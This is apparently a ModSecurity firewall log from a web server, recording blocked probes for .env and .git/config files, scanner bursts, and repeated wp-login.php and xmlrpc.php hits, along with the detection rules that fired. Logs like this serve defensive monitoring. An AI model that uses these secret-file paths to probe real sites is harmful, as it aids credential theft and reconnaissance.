[Tue Apr 21 05:10:00.772523 2026] [:error] [pid 4823:tid 4872] [client 208.84.101.224:56404] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "aeaWKPc8mke3PfHqsxF8SgAAAZM"]
[Tue Apr 21 05:10:00.772530 2026] [:error] [pid 4823:tid 4859] [client 208.84.101.224:56392] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aeaWKPc8mke3PfHqsxF8SQAAAYY"]
[Tue Apr 21 05:10:00.773024 2026] [:error] [pid 4823:tid 4876] [client 208.84.101.224:56412] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.env"] [unique_id "aeaWKPc8mke3PfHqsxF8SwAAAZc"]
[Tue Apr 21 05:10:01.078170 2026] [:error] [pid 4823:tid 4861] [client 208.84.101.224:56352] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aeaWKfc8mke3PfHqsxF8UAAAAYg"]
[Tue Apr 21 05:10:01.078180 2026] [:error] [pid 4823:tid 4863] [client 208.84.101.224:56434] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.env"] [unique_id "aeaWKfc8mke3PfHqsxF8TwAAAYo"]
[Tue Apr 21 05:10:01.078832 2026] [:error] [pid 4823:tid 4871] [client 208.84.101.224:56442] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aeaWKfc8mke3PfHqsxF8UgAAAZI"]
[Tue Apr 21 05:10:01.079004 2026] [:error] [pid 4823:tid 4877] [client 208.84.101.224:56350] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aeaWKfc8mke3PfHqsxF8UQAAAZg"]
[Tue Apr 21 05:10:01.079364 2026] [:error] [pid 5377:tid 5405] [client 208.84.101.224:56328] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aeaWKbBKychFlrHBdvsC1gAAAdM"]
[Tue Apr 21 05:57:00.237778 2026] [:error] [pid 4823:tid 4868] [client 187.124.131.15:36246] [client 187.124.131.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aeahLPc8mke3PfHqsxGOGwAAAY8"]
[Tue Apr 21 06:29:35.458077 2026] [:error] [pid 5377:tid 5406] [client 147.135.253.34:44190] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeaoz7BKychFlrHBdvsZPwAAAdQ"]
[Tue Apr 21 06:29:37.370944 2026] [:error] [pid 4777:tid 4799] [client 147.135.253.34:47904] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeao0axXur6bykKyLZQYpgAAAQs"]
[Tue Apr 21 06:29:39.211643 2026] [:error] [pid 35320:tid 35353] [client 147.135.253.34:50216] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeao04JW6fdXWO6agMGIcwAAABc"]
[Tue Apr 21 06:29:41.308170 2026] [:error] [pid 35415:tid 35440] [client 147.135.253.34:50230] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeao1UiqDinI4_22zzj8xgAAAM0"]
[Tue Apr 21 06:29:43.296999 2026] [:error] [pid 5377:tid 5400] [client 147.135.253.34:50232] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeao17BKychFlrHBdvsZcQAAAc4"]
[Tue Apr 21 06:29:45.203142 2026] [:error] [pid 35415:tid 35432] [client 147.135.253.34:50236] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeao2UiqDinI4_22zzj8ygAAAMU"]
[Tue Apr 21 06:29:47.128094 2026] [:error] [pid 4823:tid 4853] [client 147.135.253.34:50242] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeao2_c8mke3PfHqsxGZTgAAAYA"]
[Tue Apr 21 06:29:49.042636 2026] [:error] [pid 4823:tid 4876] [client 147.135.253.34:45426] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeao3fc8mke3PfHqsxGZVwAAAZc"]
[Tue Apr 21 06:29:50.946719 2026] [:error] [pid 4823:tid 4863] [client 147.135.253.34:45440] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeao3vc8mke3PfHqsxGZZgAAAYo"]
[Tue Apr 21 07:45:28.582769 2026] [:error] [pid 4823:tid 4865] [client 43.130.3.120:41254] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aea6mPc8mke3PfHqsxG7QQAAAYw"]
[Tue Apr 21 08:32:58.373877 2026] [:error] [pid 35320:tid 35340] [client 182.42.111.213:58141] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aebFuoJW6fdXWO6agMGofQAAAAo"]
[Tue Apr 21 11:48:55.035837 2026] [:error] [pid 4823:tid 4870] [client 185.194.178.52:32885] [client 185.194.178.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aebzp_c8mke3PfHqsxEvzAAAAZE"]
[Tue Apr 21 11:48:55.089967 2026] [:error] [pid 4823:tid 4858] [client 185.194.178.17:40421] [client 185.194.178.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aebzp_c8mke3PfHqsxEvzgAAAYU"]
[Tue Apr 21 12:01:19.353113 2026] [:error] [pid 35320:tid 35341] [client 159.223.103.141:52862] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeb2j4JW6fdXWO6agMHUcwAAAAs"]
[Tue Apr 21 12:09:46.032268 2026] [:error] [pid 5377:tid 5392] [client 170.81.211.3:30491] [client 170.81.211.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.81.211.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeb4irBKychFlrHBdvuEIQAAAcY"]
[Tue Apr 21 12:09:57.017701 2026] [:error] [pid 4822:tid 4844] [client 170.81.211.3:31258] [client 170.81.211.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.81.211.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeb4lSAteFQFwS_23JkU5gAAAVI"]
[Tue Apr 21 12:10:08.690341 2026] [:error] [pid 5377:tid 5388] [client 170.81.211.3:30852] [client 170.81.211.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.81.211.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeb4oLBKychFlrHBdvuERwAAAcI"]
[Tue Apr 21 12:10:17.537186 2026] [:error] [pid 5377:tid 5387] [client 170.81.211.3:30613] [client 170.81.211.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.81.211.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeb4qbBKychFlrHBdvuEXAAAAcE"]
[Tue Apr 21 12:10:27.767641 2026] [:error] [pid 4777:tid 4793] [client 170.81.211.3:30752] [client 170.81.211.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.81.211.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeb4s6xXur6bykKyLZROBAAAAQU"]
[Tue Apr 21 12:52:44.976872 2026] [:error] [pid 35321:tid 35387] [client 34.175.117.206:50892] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecCnDeHLhVUuu8cVXx1jQAAAEM"]
[Tue Apr 21 13:05:06.077295 2026] [:error] [pid 4822:tid 4847] [client 211.21.61.224:50186] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecFgiAteFQFwS_23Jk0_wAAAVU"]
[Tue Apr 21 13:37:04.845369 2026] [:error] [pid 4777:tid 4802] [client 185.194.178.30:20671] [client 185.194.178.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aecNAKxXur6bykKyLZRdCwAAAQ4"]
[Tue Apr 21 13:42:12.623929 2026] [:error] [pid 4822:tid 4849] [client 212.125.4.206:51166] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecONCAteFQFwS_23JlJlgAAAVc"]
[Tue Apr 21 14:13:05.996187 2026] [:error] [pid 5377:tid 5405] [client 159.223.103.141:52232] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecVcbBKychFlrHBdvurYAAAAdM"]
[Tue Apr 21 14:41:33.482780 2026] [:error] [pid 4822:tid 4832] [client 164.100.212.66:27869] [client 164.100.212.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccHSAteFQFwS_23Jl_6AAAAUY"]
[Tue Apr 21 14:41:42.120033 2026] [:error] [pid 4822:tid 4843] [client 164.100.212.66:49438] [client 164.100.212.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccJiAteFQFwS_23JmAdgAAAVE"]
[Tue Apr 21 14:41:51.743133 2026] [:error] [pid 5377:tid 5400] [client 164.100.214.91:24800] [client 164.100.214.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.214.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccL7BKychFlrHBdvu7XQAAAc4"]
[Tue Apr 21 14:42:02.135842 2026] [:error] [pid 4822:tid 4843] [client 164.100.212.64:13976] [client 164.100.212.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccOiAteFQFwS_23JmBaAAAAVE"]
[Tue Apr 21 14:42:12.443996 2026] [:error] [pid 4822:tid 4846] [client 164.100.212.66:51071] [client 164.100.212.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccRCAteFQFwS_23JmBqwAAAVQ"]
[Tue Apr 21 14:42:22.585022 2026] [:error] [pid 35322:tid 35360] [client 164.100.212.66:26736] [client 164.100.212.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccTqPoAfV40BTfVKywEQAAAIM"]
[Tue Apr 21 14:42:32.692463 2026] [:error] [pid 4822:tid 4834] [client 164.100.212.64:32540] [client 164.100.212.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccWCAteFQFwS_23JmB-QAAAUg"]
[Tue Apr 21 14:42:41.868542 2026] [:error] [pid 5377:tid 5388] [client 164.100.214.91:21705] [client 164.100.214.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.214.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccYbBKychFlrHBdvu8IwAAAcI"]
[Tue Apr 21 14:42:53.045558 2026] [:error] [pid 4777:tid 4810] [client 164.100.212.64:52175] [client 164.100.212.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccbaxXur6bykKyLZRwfAAAARY"]
[Tue Apr 21 14:43:03.265598 2026] [:error] [pid 35321:tid 35397] [client 164.100.212.64:52442] [client 164.100.212.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccdzeHLhVUuu8cVXyJMQAAAE0"]
[Tue Apr 21 14:43:12.547429 2026] [:error] [pid 5377:tid 5390] [client 164.100.214.91:22505] [client 164.100.214.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.214.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccgLBKychFlrHBdvu8dwAAAcQ"]
[Tue Apr 21 14:43:22.785282 2026] [:error] [pid 4822:tid 4841] [client 164.100.214.91:22765] [client 164.100.214.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.214.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecciiAteFQFwS_23JmDLgAAAU8"]
[Tue Apr 21 14:43:33.837586 2026] [:error] [pid 4777:tid 4792] [client 164.100.212.64:53223] [client 164.100.212.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecclaxXur6bykKyLZRwtwAAAQQ"]
[Tue Apr 21 14:43:44.356506 2026] [:error] [pid 35320:tid 35348] [client 164.100.212.66:53483] [client 164.100.212.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.212.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccoIJW6fdXWO6agMH-hgAAABI"]
[Tue Apr 21 14:44:03.380368 2026] [:error] [pid 4823:tid 4872] [client 164.100.214.91:23824] [client 164.100.214.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.100.214.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeccs_c8mke3PfHqsxGGSgAAAZM"]
[Tue Apr 21 14:56:57.154474 2026] [:error] [pid 35321:tid 35390] [client 196.27.114.137:33660] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecfuTeHLhVUuu8cVXyL2AAAAEY"]
[Tue Apr 21 15:32:59.020697 2026] [:error] [pid 4823:tid 4875] [client 149.202.183.73:45280] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecoK_c8mke3PfHqsxGwKAAAAZY"]
[Tue Apr 21 15:33:28.372363 2026] [:error] [pid 4823:tid 4860] [client 128.199.223.38:39246] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecoSPc8mke3PfHqsxGxfgAAAYc"]
[Tue Apr 21 15:33:44.920752 2026] [:error] [pid 53731:tid 53736] [client 150.109.230.210:53536] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aecoWF2I9THUR-bRVGzU5gAAAgE"]
[Tue Apr 21 15:39:53.245550 2026] [:error] [pid 53832:tid 53847] [client 89.163.159.173:46602] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aecpydzkuxsE_OhM9UIc2QAAAkw"]
[Tue Apr 21 16:43:48.189697 2026] [:error] [pid 53978:tid 53987] [client 122.163.129.141:54877] [client 122.163.129.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.163.129.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aec4xJ1ivsR4hcOSQbbDhwAAAoc"]
[Tue Apr 21 16:43:58.890251 2026] [:error] [pid 4777:tid 4798] [client 122.163.129.141:55179] [client 122.163.129.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.163.129.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aec4zqxXur6bykKyLZSRFgAAAQo"]
[Tue Apr 21 16:44:09.688648 2026] [:error] [pid 53978:tid 53995] [client 122.163.129.141:55427] [client 122.163.129.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.163.129.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aec42Z1ivsR4hcOSQbbD0QAAAo8"]
